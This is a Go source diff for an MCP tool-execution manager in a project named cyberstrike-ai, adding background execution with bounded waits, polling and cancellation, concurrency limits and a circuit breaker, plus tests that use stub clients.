return hasExecutionID && hasRunningStatus && hasSoftWaitSignal
}
func isExecutionTerminal(status string) bool {
switch strings.TrimSpace(strings.ToLower(status)) {
case ToolExecutionStatusCompleted, ToolExecutionStatusFailed, ToolExecutionStatusCancelled, ToolExecutionStatusHardTimeout, ToolExecutionStatusOrphaned:
return true
default:
return false
}
}
func ctxDone(ctx context.Context) <-chan struct{} {
if ctx == nil {
return nil
}
return ctx.Done()
}
func detachedExecutionContext(ctx context.Context) context.Context {
if ctx == nil {
return context.Background()
}
return context.WithoutCancel(ctx)
}
func cloneArgsMap(in map[string]interface{}) map[string]interface{} {
if in == nil {
return map[string]interface{}{}
}
out := make(map[string]interface{}, len(in))
for k, v := range in {
out[k] = v
}
return out
}
func cloneToolExecution(in *ToolExecution) *ToolExecution {
if in == nil {
return nil
}
out := *in
out.Arguments = cloneArgsMap(in.Arguments)
if in.Result != nil {
res := *in.Result
if in.Result.Content != nil {
res.Content = append([]Content(nil), in.Result.Content...)
}
out.Result = &res
}
if in.EndTime != nil {
t := *in.EndTime
out.EndTime = &t
}
if in.PartialOutputUpdatedAt != nil {
t := *in.PartialOutputUpdatedAt
out.PartialOutputUpdatedAt = &t
}
return &out
}
func appendPartialOutput(exec *ToolExecution, chunk string, maxBytes int, updatedAt time.Time) {
if exec == nil || chunk == "" {
return
}
if maxBytes <= 0 {
maxBytes = defaultPartialOutputMaxBytes
}
exec.PartialOutputBytes += int64(len([]byte(chunk)))
combined := exec.PartialOutput + chunk
if len([]byte(combined)) > maxBytes {
b := []byte(combined)
combined = string(b[len(b)-maxBytes:])
exec.PartialOutputTruncated = true
}
exec.PartialOutput = combined
t := updatedAt
exec.PartialOutputUpdatedAt = &t
}
+41
View File
@@ -0,0 +1,41 @@
package mcp
import (
"context"
"testing"
)
func TestExecutionServiceBackgroundWaitResultCompletesWaitTool(t *testing.T) {
service := NewExecutionService(nil, nil)
handle, err := service.Submit(context.Background(), ExecutionRequest{
ToolName: "wait_tool_execution",
Run: func(context.Context) (*ToolResult, error) {
return &ToolResult{
Content: []Content{{Type: "text", Text: `{
"execution_id": "3eaaa391-050b-4be1-a870-48a855923cb7",
"tool": "exec",
"status": "running"
}
本次等待已到达 timeout_seconds上述 execution 仍未完成可继续等待取消或采用其他步骤`}},
IsError: true,
}, nil
},
})
if err != nil {
t.Fatalf("Submit: %v", err)
}
snap, err := service.Wait(context.Background(), handle.ID, 0)
if err != nil {
t.Fatalf("Wait: %v", err)
}
if snap == nil || snap.Execution == nil {
t.Fatal("missing execution snapshot")
}
if snap.Execution.Status != ToolExecutionStatusCompleted {
t.Fatalf("status = %q, want %q", snap.Execution.Status, ToolExecutionStatusCompleted)
}
if snap.Execution.Result == nil || !snap.Execution.Result.IsError {
t.Fatal("model-facing result should remain IsError")
}
}
+375 -130
View File
@@ -2,6 +2,7 @@ package mcp
import (
"context"
"errors"
"fmt"
"strings"
"sync"
@@ -11,8 +12,6 @@ import (
"cyberstrike-ai/internal/authctx"
"cyberstrike-ai/internal/config"
"github.com/google/uuid"
"go.uber.org/zap"
)
@@ -36,32 +35,52 @@ type listToolsInflight struct {
err error
}
type ExternalMCPResilienceConfig struct {
MaxConcurrentPerServer int
MaxConcurrentTotal int
CircuitFailureThreshold int
CircuitCooldown time.Duration
}
type externalMCPServerRuntime struct {
semaphore chan struct{}
consecutiveFailures int
circuitOpenUntil time.Time
}
// ExternalMCPManager 外部MCP管理器
type ExternalMCPManager struct {
clients map[string]ExternalMCPClient
configs map[string]config.ExternalMCPServerConfig
logger *zap.Logger
storage MonitorStorage // 可选的持久化存储
executions map[string]*ToolExecution // 执行记录
stats map[string]*ToolStats // 工具统计信息
errors map[string]string // 错误信息
toolCounts map[string]int // 工具数量缓存
toolCountsMu sync.RWMutex // 工具数量缓存的锁
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
toolCacheMu sync.RWMutex // 工具列表缓存的锁
listToolsMu sync.Mutex
listToolsInflight map[string]*listToolsInflight
stopRefresh chan struct{} // 停止后台刷新的信号
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
mu sync.RWMutex
runningCancels map[string]context.CancelFunc
abortUserNotes map[string]string
reconnectMu sync.Mutex
reconnecting map[string]bool
reconnectLastTry map[string]time.Time
reconnectAttempts map[string]int
toolAuthorizer func(context.Context, string, map[string]interface{}) error
clients map[string]ExternalMCPClient
configs map[string]config.ExternalMCPServerConfig
logger *zap.Logger
storage MonitorStorage // 可选的持久化存储
executions map[string]*ToolExecution // 执行记录
stats map[string]*ToolStats // 工具统计信息
errors map[string]string // 错误信息
toolCounts map[string]int // 工具数量缓存
toolCountsMu sync.RWMutex // 工具数量缓存的锁
toolCache map[string]toolListCacheEntry // 工具列表缓存:MCP名称 -> 工具列表
toolCacheMu sync.RWMutex // 工具列表缓存的锁
listToolsMu sync.Mutex
listToolsInflight map[string]*listToolsInflight
stopRefresh chan struct{} // 停止后台刷新的信号
refreshWg sync.WaitGroup // 等待后台刷新goroutine完成
refreshing atomic.Bool // 防止 refreshToolCounts 并发堆积
mu sync.RWMutex
runningCancels map[string]context.CancelFunc
abortUserNotes map[string]string
reconnectMu sync.Mutex
reconnecting map[string]bool
reconnectLastTry map[string]time.Time
reconnectAttempts map[string]int
toolAuthorizer func(context.Context, string, map[string]interface{}) error
executionService *ExecutionService
toolWaitTimeout time.Duration
toolResultMaxBytes int
spillRootDir string
resilience ExternalMCPResilienceConfig
serverRuntimes map[string]*externalMCPServerRuntime
globalSemaphore chan struct{}
}
// NewExternalMCPManager 创建外部MCP管理器
@@ -80,28 +99,119 @@ func (m *ExternalMCPManager) SetToolAuthorizer(authorizer func(context.Context,
// NewExternalMCPManagerWithStorage 创建外部MCP管理器(带持久化存储)
func NewExternalMCPManagerWithStorage(logger *zap.Logger, storage MonitorStorage) *ExternalMCPManager {
manager := &ExternalMCPManager{
clients: make(map[string]ExternalMCPClient),
configs: make(map[string]config.ExternalMCPServerConfig),
logger: logger,
storage: storage,
executions: make(map[string]*ToolExecution),
stats: make(map[string]*ToolStats),
errors: make(map[string]string),
toolCounts: make(map[string]int),
toolCache: make(map[string]toolListCacheEntry),
listToolsInflight: make(map[string]*listToolsInflight),
stopRefresh: make(chan struct{}),
runningCancels: make(map[string]context.CancelFunc),
abortUserNotes: make(map[string]string),
reconnecting: make(map[string]bool),
reconnectLastTry: make(map[string]time.Time),
reconnectAttempts: make(map[string]int),
clients: make(map[string]ExternalMCPClient),
configs: make(map[string]config.ExternalMCPServerConfig),
logger: logger,
storage: storage,
executions: make(map[string]*ToolExecution),
stats: make(map[string]*ToolStats),
errors: make(map[string]string),
toolCounts: make(map[string]int),
toolCache: make(map[string]toolListCacheEntry),
listToolsInflight: make(map[string]*listToolsInflight),
stopRefresh: make(chan struct{}),
runningCancels: make(map[string]context.CancelFunc),
abortUserNotes: make(map[string]string),
reconnecting: make(map[string]bool),
reconnectLastTry: make(map[string]time.Time),
reconnectAttempts: make(map[string]int),
toolWaitTimeout: 60 * time.Second,
toolResultMaxBytes: DefaultToolResultMaxBytes,
resilience: ExternalMCPResilienceConfig{
MaxConcurrentPerServer: 2,
MaxConcurrentTotal: 16,
CircuitFailureThreshold: 3,
CircuitCooldown: 60 * time.Second,
},
serverRuntimes: make(map[string]*externalMCPServerRuntime),
globalSemaphore: make(chan struct{}, 16),
}
manager.executionService = NewExecutionService(storage, logger)
// 启动后台刷新工具数量的goroutine
manager.startToolCountRefresh()
return manager
}
func (m *ExternalMCPManager) ConfigureToolResultMaxBytes(maxBytes int) {
if m == nil {
return
}
m.mu.Lock()
m.toolResultMaxBytes = maxBytes
m.mu.Unlock()
if m.executionService != nil {
m.executionService.ConfigureToolResultMaxBytes(maxBytes)
}
}
// ConfigureToolResultSpillRoot sets the local directory root used when oversized
// tool results are spilled (aligned with reduction_root_dir; empty → tmp/reduction).
func (m *ExternalMCPManager) ConfigureToolResultSpillRoot(rootDir string) {
if m == nil {
return
}
m.mu.Lock()
m.spillRootDir = strings.TrimSpace(rootDir)
m.mu.Unlock()
if m.executionService != nil {
m.executionService.ConfigureToolResultSpillRoot(rootDir)
}
}
// ConfigureToolWaitTimeoutSeconds controls how long an agent-facing tool call
// waits for an external MCP execution before returning an execution_id that can
// be polled with wait_tool_execution. seconds<=0 waits until completion.
func (m *ExternalMCPManager) ConfigureToolWaitTimeoutSeconds(seconds int) {
if m == nil {
return
}
m.mu.Lock()
defer m.mu.Unlock()
if seconds <= 0 {
m.toolWaitTimeout = 0
return
}
m.toolWaitTimeout = time.Duration(seconds) * time.Second
}
func (m *ExternalMCPManager) ConfigureResilience(cfg ExternalMCPResilienceConfig) {
if m == nil {
return
}
normalized := normalizeExternalMCPResilienceConfig(cfg)
m.mu.Lock()
defer m.mu.Unlock()
m.resilience = normalized
m.serverRuntimes = make(map[string]*externalMCPServerRuntime)
if normalized.MaxConcurrentTotal > 0 {
m.globalSemaphore = make(chan struct{}, normalized.MaxConcurrentTotal)
} else {
m.globalSemaphore = nil
}
}
func normalizeExternalMCPResilienceConfig(cfg ExternalMCPResilienceConfig) ExternalMCPResilienceConfig {
if cfg.MaxConcurrentPerServer == 0 {
cfg.MaxConcurrentPerServer = 2
}
if cfg.MaxConcurrentTotal == 0 {
cfg.MaxConcurrentTotal = 16
}
if cfg.CircuitFailureThreshold == 0 {
cfg.CircuitFailureThreshold = 3
}
if cfg.CircuitCooldown <= 0 {
cfg.CircuitCooldown = 60 * time.Second
}
if cfg.MaxConcurrentPerServer < 0 {
cfg.MaxConcurrentPerServer = 0
}
if cfg.MaxConcurrentTotal < 0 {
cfg.MaxConcurrentTotal = 0
}
return cfg
}
// LoadConfigs 加载配置
func (m *ExternalMCPManager) LoadConfigs(cfg *config.ExternalMCPConfig) {
m.mu.Lock()
@@ -588,6 +698,9 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
if !exists {
return nil, "", fmt.Errorf("外部MCP客户端不存在: %s", mcpName)
}
if err := m.checkExternalMCPCircuit(mcpName); err != nil {
return nil, "", err
}
// 检查连接状态,如果未连接或状态为error,不允许调用
if !client.IsConnected() {
@@ -603,107 +716,217 @@ func (m *ExternalMCPManager) CallTool(ctx context.Context, toolName string, args
return nil, "", fmt.Errorf("外部MCP客户端未连接: %s (状态: %s)", mcpName, status)
}
// 创建执行记录
executionID := uuid.New().String()
execution := &ToolExecution{
ID: executionID,
ToolName: toolName, // 使用完整工具名称(包含MCP名称)
Arguments: args,
Status: "running",
StartTime: time.Now(),
if m.executionService == nil {
m.executionService = NewExecutionService(m.storage, m.logger)
m.executionService.ConfigureToolResultMaxBytes(m.toolResultMaxBytes)
m.executionService.ConfigureToolResultSpillRoot(m.spillRootDir)
}
var ownerUserID string
if principal, ok := authctx.PrincipalFromContext(ctx); ok {
execution.OwnerUserID = principal.UserID
ownerUserID = principal.UserID
}
execution.ConversationID = MCPConversationIDFromContext(ctx)
m.mu.Lock()
m.executions[executionID] = execution
// 如果内存中的执行记录超过限制,清理最旧的记录
m.cleanupOldExecutions()
m.mu.Unlock()
if m.storage != nil {
if err := m.storage.SaveToolExecution(execution); err != nil {
m.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
}
}
execCtx, runCancel := context.WithCancel(ctx)
m.registerRunningCancel(executionID, runCancel)
notifyToolRunBegin(ctx, executionID)
defer func() {
notifyToolRunEnd(ctx, executionID)
runCancel()
m.unregisterRunningCancel(executionID)
}()
// 调用工具
result, err := client.CallTool(execCtx, actualToolName, args)
handle, err := m.executionService.Submit(ctx, ExecutionRequest{
ToolName: toolName,
Arguments: args,
ConversationID: MCPConversationIDFromContext(ctx),
OwnerUserID: ownerUserID,
PreRun: func(runCtx context.Context, exec *ToolExecution) (func(), error) {
release, acquireErr := m.acquireExternalMCPCallSlot(runCtx, mcpName)
if acquireErr != nil {
return nil, acquireErr
}
return release, nil
},
Run: func(runCtx context.Context) (*ToolResult, error) {
result, callErr := client.CallTool(runCtx, actualToolName, args)
if callErr != nil {
m.handleConnectionDead(mcpName, client, callErr)
}
return result, callErr
},
OnDone: func(exec *ToolExecution) {
failed := exec != nil && exec.Status != ToolExecutionStatusCompleted && exec.Status != ToolExecutionStatusCancelled
m.recordExternalMCPResult(mcpName, failed)
m.updateStats(toolName, failed)
},
})
if err != nil {
m.handleConnectionDead(mcpName, client, err)
return nil, "", err
}
cancelledWithUserNote := m.applyAbortUserNoteToCancelledToolResult(executionID, &result, &err)
// 更新执行记录
m.mu.RLock()
waitTimeout := m.toolWaitTimeout
m.mu.RUnlock()
snapshot, waitErr := m.executionService.Wait(ctx, handle.ID, waitTimeout)
if errors.Is(waitErr, ErrExecutionWaitTimeout) {
return externalMCPWaitTimeoutResult(snapshot, waitTimeout), handle.ID, nil
}
if waitErr != nil {
return nil, handle.ID, waitErr
}
if snapshot == nil || snapshot.Execution == nil {
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回执行快照"}}, IsError: true}, handle.ID, nil
}
if snapshot.Execution.Result != nil {
return snapshot.Execution.Result, handle.ID, nil
}
if snapshot.Execution.Error != "" {
return nil, handle.ID, errors.New(snapshot.Execution.Error)
}
return &ToolResult{Content: []Content{{Type: "text", Text: "工具执行完成,但未返回结果"}}, IsError: false}, handle.ID, nil
}
func externalMCPWaitTimeoutResult(snapshot *ExecutionSnapshot, waitTimeout time.Duration) *ToolResult {
execID := ""
status := ToolExecutionStatusRunning
toolName := ""
elapsed := time.Duration(0)
if snapshot != nil && snapshot.Execution != nil {
execID = snapshot.Execution.ID
status = snapshot.Execution.Status
toolName = snapshot.Execution.ToolName
elapsed = time.Since(snapshot.Execution.StartTime).Round(time.Second)
}
waitText := "unbounded"
if waitTimeout > 0 {
waitText = waitTimeout.Round(time.Second).String()
}
msg := fmt.Sprintf(`工具已提交到后台执行但本次等待已到达上限
execution_id: %s
tool: %s
status: %s
wait_timeout: %s
elapsed: %s
你可以继续推理改用其他工具或调用 wait_tool_execution 继续等待该 execution_id也可以调用 cancel_tool_execution 取消`, execID, toolName, status, waitText, elapsed)
return &ToolResult{Content: []Content{{Type: "text", Text: msg}}, IsError: true}
}
func (m *ExternalMCPManager) checkExternalMCPCircuit(mcpName string) error {
if m == nil {
return nil
}
name := strings.TrimSpace(mcpName)
if name == "" {
return nil
}
m.mu.Lock()
defer m.mu.Unlock()
if m.resilience.CircuitFailureThreshold < 0 {
return nil
}
rt := m.externalMCPRuntimeLocked(name)
if rt == nil || rt.circuitOpenUntil.IsZero() {
return nil
}
now := time.Now()
execution.EndTime = &now
execution.Duration = now.Sub(execution.StartTime)
if err != nil {
st, msg := executionStatusAndMessage(err)
execution.Status = st
execution.Error = msg
} else if result != nil && result.IsError {
if cancelledWithUserNote {
execution.Status = "cancelled"
execution.Error = ""
execution.Result = result
} else {
execution.Status = "failed"
if len(result.Content) > 0 {
execution.Error = result.Content[0].Text
} else {
execution.Error = "工具执行返回错误结果"
}
execution.Result = result
}
} else {
execution.Status = "completed"
if result == nil {
result = &ToolResult{
Content: []Content{
{Type: "text", Text: "工具执行完成,但未返回结果"},
},
}
}
execution.Result = result
if now.Before(rt.circuitOpenUntil) {
return fmt.Errorf("外部MCP服务 %s 已临时熔断,预计 %s 后重试", name, time.Until(rt.circuitOpenUntil).Round(time.Second))
}
rt.circuitOpenUntil = time.Time{}
return nil
}
func (m *ExternalMCPManager) acquireExternalMCPCallSlot(ctx context.Context, mcpName string) (func(), error) {
if m == nil {
return func() {}, nil
}
name := strings.TrimSpace(mcpName)
m.mu.Lock()
rt := m.externalMCPRuntimeLocked(name)
serverSem := chan struct{}(nil)
if rt != nil {
serverSem = rt.semaphore
}
globalSem := m.globalSemaphore
m.mu.Unlock()
if m.storage != nil {
if err := m.storage.SaveToolExecution(execution); err != nil {
m.logger.Warn("保存执行记录到数据库失败", zap.Error(err))
releaseGlobal := false
if globalSem != nil {
select {
case globalSem <- struct{}{}:
releaseGlobal = true
case <-ctxDone(ctx):
return func() {}, contextErr(ctx)
}
}
// 更新统计信息
failed := err != nil || (result != nil && result.IsError)
m.updateStats(toolName, failed)
// 如果使用存储,从内存中删除(已持久化)
if m.storage != nil {
m.mu.Lock()
delete(m.executions, executionID)
m.mu.Unlock()
releaseServer := false
if serverSem != nil {
select {
case serverSem <- struct{}{}:
releaseServer = true
case <-ctxDone(ctx):
if releaseGlobal {
<-globalSem
}
return func() {}, contextErr(ctx)
}
}
return func() {
if releaseServer {
<-serverSem
}
if releaseGlobal {
<-globalSem
}
}, nil
}
if err != nil {
return nil, executionID, err
func contextErr(ctx context.Context) error {
if ctx == nil || ctx.Err() == nil {
return context.Canceled
}
return ctx.Err()
}
return result, executionID, nil
func (m *ExternalMCPManager) recordExternalMCPResult(mcpName string, failed bool) {
if m == nil || strings.TrimSpace(mcpName) == "" {
return
}
m.mu.Lock()
defer m.mu.Unlock()
rt := m.externalMCPRuntimeLocked(mcpName)
if rt == nil {
return
}
if !failed {
rt.consecutiveFailures = 0
rt.circuitOpenUntil = time.Time{}
return
}
if m.resilience.CircuitFailureThreshold < 0 {
return
}
rt.consecutiveFailures++
if rt.consecutiveFailures >= m.resilience.CircuitFailureThreshold {
rt.circuitOpenUntil = time.Now().Add(m.resilience.CircuitCooldown)
m.logger.Warn("外部MCP服务触发熔断",
zap.String("name", mcpName),
zap.Int("consecutiveFailures", rt.consecutiveFailures),
zap.Duration("cooldown", m.resilience.CircuitCooldown),
)
}
}
func (m *ExternalMCPManager) externalMCPRuntimeLocked(mcpName string) *externalMCPServerRuntime {
if m.serverRuntimes == nil {
m.serverRuntimes = make(map[string]*externalMCPServerRuntime)
}
name := strings.TrimSpace(mcpName)
if name == "" {
return nil
}
if rt := m.serverRuntimes[name]; rt != nil {
return rt
}
var sem chan struct{}
if m.resilience.MaxConcurrentPerServer > 0 {
sem = make(chan struct{}, m.resilience.MaxConcurrentPerServer)
}
rt := &externalMCPServerRuntime{semaphore: sem}
m.serverRuntimes[name] = rt
return rt
}
func (m *ExternalMCPManager) applyAbortUserNoteToCancelledToolResult(executionID string, result **ToolResult, err *error) (cancelledWithUserNote bool) {
@@ -785,6 +1008,11 @@ func (m *ExternalMCPManager) cleanupOldExecutions() {
// GetExecution 获取执行记录(先从内存查找,再从数据库查找)
func (m *ExternalMCPManager) GetExecution(id string) (*ToolExecution, bool) {
if m.executionService != nil {
if snap, err := m.executionService.Get(id); err == nil && snap != nil && snap.Execution != nil {
return snap.Execution, true
}
}
m.mu.RLock()
exec, exists := m.executions[id]
m.mu.RUnlock()
@@ -817,6 +1045,9 @@ func (m *ExternalMCPManager) unregisterRunningCancel(id string) {
// CancelToolExecutionWithNote 取消外部 MCP 工具;note 非空时与已返回输出合并后交给模型。
func (m *ExternalMCPManager) CancelToolExecutionWithNote(id string, note string) bool {
if m.executionService != nil && m.executionService.Cancel(id, note) {
return true
}
m.mu.Lock()
cancel, ok := m.runningCancels[id]
if !ok || cancel == nil {
@@ -844,6 +1075,11 @@ func (m *ExternalMCPManager) ActiveRunningExecutionIDs() map[string]struct{} {
if m == nil {
return nil
}
if m.executionService != nil {
if ids := m.executionService.ActiveRunningExecutionIDs(); len(ids) > 0 {
return ids
}
}
m.mu.Lock()
defer m.mu.Unlock()
if len(m.runningCancels) == 0 {
@@ -1335,12 +1571,21 @@ func (m *ExternalMCPManager) StartAllEnabled() {
// StopAll 停止所有客户端
func (m *ExternalMCPManager) StopAll() {
if m.executionService != nil {
m.executionService.CancelAll("外部 MCP 管理器正在停止")
}
clients := make(map[string]ExternalMCPClient)
m.mu.Lock()
defer m.mu.Unlock()
for name, client := range m.clients {
client.Close()
clients[name] = client
delete(m.clients, name)
}
m.mu.Unlock()
for name, client := range clients {
if client != nil {
_ = client.Close()
}
m.clearReconnectState(name)
}
@@ -1360,6 +1605,6 @@ func (m *ExternalMCPManager) StopAll() {
// 已经关闭,不需要再次关闭
default:
close(m.stopRefresh)
m.refreshWg.Wait()
}
m.refreshWg.Wait()
}
+230
View File
@@ -0,0 +1,230 @@
package mcp
import (
"context"
"errors"
"strings"
"sync/atomic"
"testing"
"time"
"go.uber.org/zap"
)
type blockingExternalMCPClient struct {
started chan struct{}
calls chan string
release chan struct{}
result *ToolResult
count atomic.Int32
}
func newBlockingExternalMCPClient(resultText string) *blockingExternalMCPClient {
return &blockingExternalMCPClient{
started: make(chan struct{}),
calls: make(chan string, 8),
release: make(chan struct{}),
result: &ToolResult{Content: []Content{{Type: "text", Text: resultText}}},
}
}
func (c *blockingExternalMCPClient) Initialize(ctx context.Context) error { return nil }
func (c *blockingExternalMCPClient) ListTools(ctx context.Context) ([]Tool, error) {
return []Tool{{Name: "slow_tool"}}, nil
}
func (c *blockingExternalMCPClient) CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error) {
c.count.Add(1)
select {
case c.calls <- name:
default:
}
select {
case <-c.started:
default:
close(c.started)
}
select {
case <-c.release:
return c.result, nil
case <-ctx.Done():
return nil, ctx.Err()
}
}
func (c *blockingExternalMCPClient) Close() error { return nil }
func (c *blockingExternalMCPClient) IsConnected() bool { return true }
func (c *blockingExternalMCPClient) GetStatus() string { return "connected" }
type failingExternalMCPClient struct{}
func (c *failingExternalMCPClient) Initialize(ctx context.Context) error { return nil }
func (c *failingExternalMCPClient) ListTools(ctx context.Context) ([]Tool, error) {
return []Tool{{Name: "fail_tool"}}, nil
}
func (c *failingExternalMCPClient) CallTool(ctx context.Context, name string, args map[string]interface{}) (*ToolResult, error) {
return nil, errors.New("boom")
}
func (c *failingExternalMCPClient) Close() error { return nil }
func (c *failingExternalMCPClient) IsConnected() bool { return true }
func (c *failingExternalMCPClient) GetStatus() string { return "connected" }
func TestExternalMCPManager_CallToolBoundedWaitThenContinue(t *testing.T) {
manager := NewExternalMCPManager(zap.NewNop())
manager.ConfigureToolWaitTimeoutSeconds(1)
manager.toolWaitTimeout = 10 * time.Millisecond
client := newBlockingExternalMCPClient("slow result ready")
manager.clients["lab"] = client
callCtx, callCancel := context.WithCancel(context.Background())
result, executionID, err := manager.CallTool(callCtx, "lab::slow_tool", map[string]interface{}{"target": "example"})
if err != nil {
t.Fatalf("CallTool returned error: %v", err)
}
if executionID == "" {
t.Fatal("expected execution id")
}
if result == nil || !result.IsError {
t.Fatalf("expected soft timeout tool result, got %#v", result)
}
text := ToolResultPlainText(result)
if !strings.Contains(text, executionID) || !strings.Contains(text, "wait_tool_execution") {
t.Fatalf("timeout result should include execution id and wait guidance, got %q", text)
}
select {
case <-client.started:
default:
t.Fatal("worker did not start")
}
callCancel()
close(client.release)
snapshot, err := manager.executionService.Wait(context.Background(), executionID, time.Second)
if err != nil {
t.Fatalf("Wait returned error: %v", err)
}
if snapshot == nil || snapshot.Execution == nil {
t.Fatal("expected execution snapshot")
}
if snapshot.Execution.Status != ToolExecutionStatusCompleted {
t.Fatalf("status = %q, want completed", snapshot.Execution.Status)
}
if got := ToolResultPlainText(snapshot.Execution.Result); got != "slow result ready" {
t.Fatalf("result = %q, want slow result ready", got)
}
}
func TestExecutionControlWaitToolReturnsCompletedResult(t *testing.T) {
manager := NewExternalMCPManager(zap.NewNop())
manager.toolWaitTimeout = 10 * time.Millisecond
client := newBlockingExternalMCPClient("control wait result")
manager.clients["lab"] = client
result, executionID, err := manager.CallTool(context.Background(), "lab::slow_tool", nil)
if err != nil {
t.Fatalf("CallTool returned error: %v", err)
}
if result == nil || !result.IsError || executionID == "" {
t.Fatalf("expected soft timeout and execution id, got result=%#v id=%q", result, executionID)
}
server := NewServer(zap.NewNop())
RegisterExecutionControlTools(server, manager)
close(client.release)
waitResult, _, err := server.CallTool(context.Background(), "wait_tool_execution", map[string]interface{}{
"execution_id": executionID,
"timeout_seconds": 1,
})
if err != nil {
t.Fatalf("wait_tool_execution returned error: %v", err)
}
if waitResult == nil || waitResult.IsError {
t.Fatalf("expected successful wait result, got %#v", waitResult)
}
body := ToolResultPlainText(waitResult)
if !strings.Contains(body, `"status": "completed"`) || !strings.Contains(body, "control wait result") {
t.Fatalf("wait result body missing completed status/result: %s", body)
}
}
func TestExternalMCPManager_PerServerConcurrencyLimitsWorkers(t *testing.T) {
manager := NewExternalMCPManager(zap.NewNop())
manager.toolWaitTimeout = 10 * time.Millisecond
manager.ConfigureResilience(ExternalMCPResilienceConfig{
MaxConcurrentPerServer: 1,
MaxConcurrentTotal: 4,
CircuitFailureThreshold: -1,
CircuitCooldown: time.Second,
})
client := newBlockingExternalMCPClient("ok")
manager.clients["lab"] = client
done1 := make(chan struct{})
go func() {
_, _, _ = manager.CallTool(context.Background(), "lab::slow_tool", nil)
close(done1)
}()
select {
case <-client.calls:
case <-time.After(time.Second):
t.Fatal("first worker did not enter client")
}
type callOutcome struct {
executionID string
err error
}
done2 := make(chan callOutcome, 1)
go func() {
_, executionID, err := manager.CallTool(context.Background(), "lab::slow_tool", nil)
done2 <- callOutcome{executionID: executionID, err: err}
}()
select {
case <-client.calls:
t.Fatal("second worker entered client before per-server slot was released")
case <-time.After(50 * time.Millisecond):
}
var second callOutcome
select {
case second = <-done2:
case <-time.After(time.Second):
t.Fatal("second call did not return after bounded wait")
}
if second.err != nil || second.executionID == "" {
t.Fatalf("second call should return queued execution id after bounded wait, id=%q err=%v", second.executionID, second.err)
}
snapshot, err := manager.executionService.Get(second.executionID)
if err != nil {
t.Fatalf("Get queued execution: %v", err)
}
if snapshot == nil || snapshot.Execution == nil || snapshot.Execution.Status != ToolExecutionStatusQueued {
t.Fatalf("second execution status = %#v, want queued", snapshot)
}
close(client.release)
select {
case <-client.calls:
case <-time.After(time.Second):
t.Fatal("second worker did not enter client after slot release")
}
<-done1
}
func TestExternalMCPManager_CircuitBreakerOpensAfterFailures(t *testing.T) {
manager := NewExternalMCPManager(zap.NewNop())
manager.ConfigureResilience(ExternalMCPResilienceConfig{
MaxConcurrentPerServer: 2,
MaxConcurrentTotal: 4,
CircuitFailureThreshold: 1,
CircuitCooldown: time.Minute,
})
manager.clients["lab"] = &failingExternalMCPClient{}
_, _, err := manager.CallTool(context.Background(), "lab::fail_tool", nil)
if err == nil || !strings.Contains(err.Error(), "boom") {
t.Fatalf("expected first call to fail with client error, got %v", err)
}
_, _, err = manager.CallTool(context.Background(), "lab::fail_tool", nil)
if err == nil || !strings.Contains(err.Error(), "熔断") {
t.Fatalf("expected circuit breaker rejection, got %v", err)
}
}
+44
View File
@@ -22,6 +22,8 @@ type EinoExecuteRunRegistry interface {
type toolRunRegistryCtxKey struct{}
type einoExecuteRunRegistryCtxKey struct{}
type mcpConversationIDCtxKey struct{}
type mcpExecutionIDCtxKey struct{}
type mcpProjectIDCtxKey struct{}
// WithToolRunRegistry 将登记器注入 ctxEino / 原生 Agent 任务 ctx)。
func WithToolRunRegistry(ctx context.Context, reg ToolRunRegistry) context.Context {
@@ -78,6 +80,48 @@ func MCPConversationIDFromContext(ctx context.Context) string {
return v
}
// WithMCPExecutionID 将当前工具 executionId 注入 ctx,供超长输出落盘文件名对齐。
func WithMCPExecutionID(ctx context.Context, executionID string) context.Context {
if ctx == nil {
return nil
}
id := strings.TrimSpace(executionID)
if id == "" {
return ctx
}
return context.WithValue(ctx, mcpExecutionIDCtxKey{}, id)
}
// MCPExecutionIDFromContext 读取当前工具 executionId。
func MCPExecutionIDFromContext(ctx context.Context) string {
if ctx == nil {
return ""
}
v, _ := ctx.Value(mcpExecutionIDCtxKey{}).(string)
return v
}
// WithMCPProjectID 将项目 ID 注入 ctx,供 reduction/trunc 落盘路径与项目隔离对齐。
func WithMCPProjectID(ctx context.Context, projectID string) context.Context {
if ctx == nil {
return nil
}
id := strings.TrimSpace(projectID)
if id == "" {
return ctx
}
return context.WithValue(ctx, mcpProjectIDCtxKey{}, id)
}
// MCPProjectIDFromContext 读取项目 ID。
func MCPProjectIDFromContext(ctx context.Context) string {
if ctx == nil {
return ""
}
v, _ := ctx.Value(mcpProjectIDCtxKey{}).(string)
return v
}
func notifyToolRunBegin(ctx context.Context, executionID string) {
reg := ToolRunRegistryFromContext(ctx)
if reg == nil {
+195 -99
View File
@@ -15,6 +15,7 @@ import (
"time"
"cyberstrike-ai/internal/authctx"
"cyberstrike-ai/internal/mcp/builtin"
"github.com/google/uuid"
"go.uber.org/zap"
@@ -52,8 +53,14 @@ type Server struct {
httpToolTimeoutMinutes *int
httpToolTimeoutMu sync.RWMutex
toolAuthorizer func(context.Context, string, map[string]interface{}) error
executionService *ExecutionService
toolWaitTimeout time.Duration
toolResultMaxBytes int
spillRootDir string
}
const defaultPartialOutputMaxBytes = 64 * 1024
// SetToolAuthorizer installs the common policy decision point for every
// user-attributed tool call, whether it originates from HTTP or an Agent.
func (s *Server) SetToolAuthorizer(authorizer func(context.Context, string, map[string]interface{}) error) {
@@ -100,7 +107,10 @@ func NewServerWithStorage(logger *zap.Logger, storage MonitorStorage) *Server {
sseClients: make(map[string]*sseClient),
runningCancels: make(map[string]context.CancelFunc),
abortUserNotes: make(map[string]string),
toolWaitTimeout: 60 * time.Second,
toolResultMaxBytes: DefaultToolResultMaxBytes,
}
s.executionService = NewExecutionService(storage, logger)
// 初始化默认提示词和资源
s.initDefaultPrompts()
@@ -109,6 +119,32 @@ func NewServerWithStorage(logger *zap.Logger, storage MonitorStorage) *Server {
return s
}
func (s *Server) ConfigureToolResultMaxBytes(maxBytes int) {
if s == nil {
return
}
s.mu.Lock()
s.toolResultMaxBytes = maxBytes
s.mu.Unlock()
if s.executionService != nil {
s.executionService.ConfigureToolResultMaxBytes(maxBytes)
}
}
// ConfigureToolResultSpillRoot sets the local directory root used when oversized
// tool results are spilled (aligned with reduction_root_dir; empty → tmp/reduction).
